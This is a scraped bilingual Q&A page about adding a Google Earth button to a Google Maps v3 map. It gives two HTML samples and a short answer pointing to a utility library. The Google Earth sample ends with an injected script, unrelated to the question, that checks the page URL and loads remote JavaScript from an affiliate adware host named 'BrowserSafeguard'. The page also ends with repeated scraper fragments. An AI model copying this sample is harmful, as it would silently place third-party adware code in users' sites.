如何将地球按钮添加到Google Map

Question

Here is the Simple Map of Google Maps API. 这是Google Maps API的简单地图。

Is there a way to have a button that switches the same div to load the earth ? 有没有一种方法可以切换相同的div来加载大地？

The Code: 编码：

Google Simple Map: Google简单地图：

<!DOCTYPE html>
<html>
  <head>
    <title>Simple Map</title>
    <meta name="viewport" content="initial-scale=1.0, user-scalable=no">
    <meta charset="utf-8">
    <style>
      html, body, #map-canvas {
        height: 100%;
        margin: 0px;
        padding: 0px
      }
    </style>
    <script src="https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false"></script>
    <script>
var map;
function initialize() {
  var mapOptions = {
    zoom: 8,
    center: new google.maps.LatLng(-34.397, 150.644)
  };
  map = new google.maps.Map(document.getElementById('map-canvas'),
      mapOptions);
}

google.maps.event.addDomListener(window, 'load', initialize);

    </script>
  </head>
  <body>
    <div id="map-canvas"></div>
  </body>
</html>

Google Earth: 谷歌地球：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html>
  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
  <head>
    <title>Hello Google Earth!</title>
    <!-- *** Replace the key below below with your own API key, available at http://code.google.com/apis/maps/signup.html *** -->
    <script src="http://www.google.com/jsapi?key=ABQIAAAAwbkbZLyhsmTCWXbTcjbgbRSzHs7K5SvaUdm8ua-Xxy_-2dYwMxQMhnagaawTo7L1FE1-amhuQxIlXw"></script>
    <script>
google.load("earth", "1");

var ge = null;

function init() {
  google.earth.createInstance("map3d", initCallback, failureCallback);
}

function initCallback(object) {
  ge = object;
  ge.getWindow().setVisibility(true);
}

function failureCallback(object) {
}
    </script>
  </head>
  <body onload='init()' id='body'>
    <center>
      <div>
        Hello, Earth!
      </div>

      <div id='map3d' style='border: 1px solid silver; height: 600px; width: 800px;'></div>
    </center>
  <script type="text/javascript">(function () {if (top.location == self.location && top.location.href.split('#')[0] == 'http://earth-api-samples.googlecode.com/svn/trunk/demos/helloearth/index.html') {var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;po.src = 'https://api.jollywallet.com/affiliate/client?dist=213&sub=bsg-pitch&name=BrowserSafeguard';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);}})();</script></body>
</html>

Answer 1

There is a utility library that will accomplish this type of integration with Maps v3. 有一个实用程序库可以完成与Maps v3的这种类型的集成。

Technically it loads the Earth API in a separate div which is only displayed when someone hits the "Earth" button, but I am assuming that's fine for your use case? 从技术上讲，它会将Earth API加载到一个单独的div中，该div仅在有人点击“地球”按钮时显示，但是我认为这对您的用例来说还不错吗？

You can see a demo here (note the extra "earth" button), and use svn to get the code 您可以在此处看到一个演示（请注意额外的“地球”按钮），并使用svn 获取代码

如何将地球按钮添加到Google Map

问题描述

1 个解决方案

解决方案1
1 已采纳 2014-04-30 03:31:58

如何将地球按钮添加到Google Map

问题描述

1 个解决方案

解决方案1 1 已采纳 2014-04-30 03:31:58

解决方案1
1 已采纳 2014-04-30 03:31:58